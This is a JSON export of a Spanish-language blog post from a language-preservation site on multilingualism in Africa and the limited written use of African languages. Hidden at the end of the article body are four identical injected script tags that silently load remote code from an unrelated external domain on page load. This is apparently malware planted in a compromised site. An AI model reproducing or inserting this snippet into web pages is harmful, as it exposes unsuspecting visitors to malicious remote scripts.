{"id":66834,"date":"2015-09-05T02:14:45","date_gmt":"2015-09-05T00:14:45","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66834"},"modified":"2025-10-21T21:57:56","modified_gmt":"2025-10-21T19:57:56","slug":"el-plurilinguismo-en-africa-y-en-el-escrito","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/","title":{"rendered":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito?"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por A\u00efssatou Mbodj el February 6, 2011<\/span><br \/>\n&nbsp;<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Bruno Ben Moubamba\" src=\"\/wp-content\/uploads\/3755118200.jpg\" alt=\"Bruno Ben Moubamba\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">BY Bruno Ben Moubamba (CC)<\/p><\/div><\/p>\n<p><strong>Que las sociedades africanas contempor\u00e1neas sean pluriling\u00fces, incluso si las pol\u00edticas ling\u00fc\u00edsticas no toman generalmente esto en cuenta, es un hecho hoy en d\u00eda. Este hecho establecido en el oral, \u00bfvale para el escrito?<\/strong><\/p>\n<p>Las principales lenguas escritas, en \u00c1frica, son <strong>las lenguas oficiales<\/strong>, o sea las antiguas lenguas coloniales, as\u00ed como el \u00e1rabe, lengua de cultura y de religi\u00f3n en vastas \u00e1reas de \u00c1frica del oeste y del este.<\/p>\n<p>Cabe notar que ciertos pa\u00edses o regiones africanos son la excepci\u00f3n con la presencia de lenguas africanas que son comunes en oral as\u00ed como antiguamente escritas: <strong>las lenguas de Etiop\u00eda y el suajili en \u00c1frica oriental.<\/strong><br \/>\nPero a excepci\u00f3n de estos casos, la disyunci\u00f3n entre las lenguas del oral y del escrito, nos queda la situaci\u00f3n m\u00e1s frecuente: en \u00c1frica subsahariana, existe un gran n\u00famero de lenguas orales, pero pocas de ellas est\u00e1n escritas.<\/p>\n<p>Si se toma el caso de los pa\u00edses franc\u00f3fonos en d\u00f3nde el franc\u00e9s es la \u00fanica lengua oficial, comprobamos que las lenguas africanas, reconocidas como \u201d <strong>lenguas nacionales <\/strong>\u201c, se desarrollan muy bien al oral: podemos citar particularmente las lenguas vehiculares que se desarrollan en la escala de un pa\u00eds, como el wolof en Senegal o el bambara en Mal\u00ed.<\/p>\n<p>Pero <strong>estas lenguas tienen dificultades para adquirir el estatus de lengua escrita.<\/strong> Es verdad que desde los a\u00f1os sesentas, muchos esfuerzos han sido consentidos para equiparlos, con la adopci\u00f3n de una ortograf\u00eda oficial y el desarrollo de un vocabulario gramatical. Sin embargo, sus usos en el escrito quedan confinados a \u00e1reas o espacios sociales limitados, tal como la alfabetizaci\u00f3n para adultos en ambiente rural.<\/p>\n<p>Dicho esto, <strong>en ciertos lugares, se hace un esfuerzo tambi\u00e9n para desarrollar la escuela biling\u00fce:<\/strong> tal es el caso en Mal\u00ed d\u00f3nde despu\u00e9s de d\u00e9cadas de experimentaci\u00f3n del biling\u00fcismo escolar \u00e9ste est\u00e1 hoy en fase de generalizaci\u00f3n. Falta asegurarse que este voluntarismo se mantenga en la duraci\u00f3n, y observar si esta escolarizaci\u00f3n biling\u00fce bastar\u00e1 para introducir estas lenguas en los usos escritos diarios.<\/p>\n<p>En la escala del continente, hay que abstenerse de toda generalizaci\u00f3n, porque las lenguas africanas tienen relaciones muy diversas con el escrito. <strong>Para ciertas lenguas, el pasaje al escrito y a la imprenta se remonta al per\u00edodo colonial o misionero y vieron nacer literaturas, como el yoruba en Nigeria o el kinyarwanda en Ruanda.<\/strong> Al contrario, existen muchas lenguas \u00fanicamente orales y todav\u00eda no descritas. Algunas otras han sido codificadas pero su forma escrita no es utilizada por los mismos locutores.<\/p>\n<p>Queda por aclarar finalmente la cuesti\u00f3n de la elecci\u00f3n de grafismos: la ortograf\u00eda latina a la cual recurren muchas lenguas no es la \u00fanica, y ciertas tradiciones de escritura en lengua africanas pasan por otros grafismos. El ajami, que consiste en utilizar la escritura \u00e1rabe para una lengua diferente del \u00e1rabe, es una pr\u00e1ctica com\u00fan, por ejemplo para el haoussa (hablado en Nigeria en N\u00edger y en otros pa\u00edsesde \u00c1frica del oeste). En otros lugares, comprobamos el uso, a veces de una gran vitalidad a la escala de una regi\u00f3n, de un grafismo original como la escritura No Kb para las lenguas mandingues en Guinea y en Mal\u00ed.<\/p>\n<p>Si las lenguas africanas est\u00e1n globalmente poco desarrolladas en <strong>el escrito, el potencial para reforzar su uso est\u00e1 all\u00ed:<\/strong> la \u00e9poca contempor\u00e1nea vio nacer en efecto nuevas pr\u00e1cticas escritas, a menudo alejadas de las formas librescas con las cuales esta generalmente asociada la idea de escritura.<\/p>\n<p>As\u00ed las paredes y las ense\u00f1as de las ciudades africanas llevan inscripciones que testimonian una mezcla de formas, de lenguas y de grafismos que van m\u00e1s all\u00e1 de los usos autorizados de la lengua oficial.<\/p>\n<p>Podemos citar tambi\u00e9n el uso de lenguas hasta aqu\u00ed poco escritas en el marco de las nuevas tecnolog\u00edas de la informaci\u00f3n y de la comunicaci\u00f3n, en particular para los mensajes de texto, los e-mails y los foros. Estos nuevos usos cuestionan las divisiones entre lenguas orales y escritas y dejan presagiar <strong>un bello futuro a ciertas lenguas africanas, en el escrito totalmente como en el oral. <\/strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por A\u00efssatou Mbodj el February 6, 2011 &nbsp; Que las sociedades africanas contempor\u00e1neas sean pluriling\u00fces, incluso si las pol\u00edticas ling\u00fc\u00edsticas no toman generalmente esto en cuenta, es un hecho hoy en d\u00eda. Este hecho establecido en el oral, \u00bfvale para el escrito? Las principales lenguas escritas, en \u00c1frica, son las lenguas oficiales, o sea [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66834","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por A\u00efssatou Mbodj el February 6, 2011 &nbsp; Que las sociedades africanas contempor\u00e1neas sean pluriling\u00fces, incluso si las pol\u00edticas ling\u00fc\u00edsticas no toman generalmente esto en cuenta, es un hecho hoy en d\u00eda. Este hecho establecido en el oral, \u00bfvale para el escrito? Las principales lenguas escritas, en \u00c1frica, son las lenguas oficiales, o sea [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T00:14:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:57:56+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"El plurilinguismo en \u00c1frica: \u00bfY en el escrito?\",\"datePublished\":\"2015-09-05T00:14:45+00:00\",\"dateModified\":\"2025-10-21T19:57:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\"},\"wordCount\":748,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\",\"name\":\"El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T00:14:45+00:00\",\"dateModified\":\"2025-10-21T19:57:56+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El plurilinguismo en \u00c1frica: \u00bfY en el escrito?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/","og_locale":"es_ES","og_type":"article","og_title":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro","og_description":"Publicado por A\u00efssatou Mbodj el February 6, 2011 &nbsp; Que las sociedades africanas contempor\u00e1neas sean pluriling\u00fces, incluso si las pol\u00edticas ling\u00fc\u00edsticas no toman generalmente esto en cuenta, es un hecho hoy en d\u00eda. Este hecho establecido en el oral, \u00bfvale para el escrito? Las principales lenguas escritas, en \u00c1frica, son las lenguas oficiales, o sea [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T00:14:45+00:00","article_modified_time":"2025-10-21T19:57:56+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito?","datePublished":"2015-09-05T00:14:45+00:00","dateModified":"2025-10-21T19:57:56+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/"},"wordCount":748,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/","name":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito? - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T00:14:45+00:00","dateModified":"2025-10-21T19:57:56+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-africa-y-en-el-escrito\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El plurilinguismo en \u00c1frica: \u00bfY en el escrito?"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66834"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66834\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}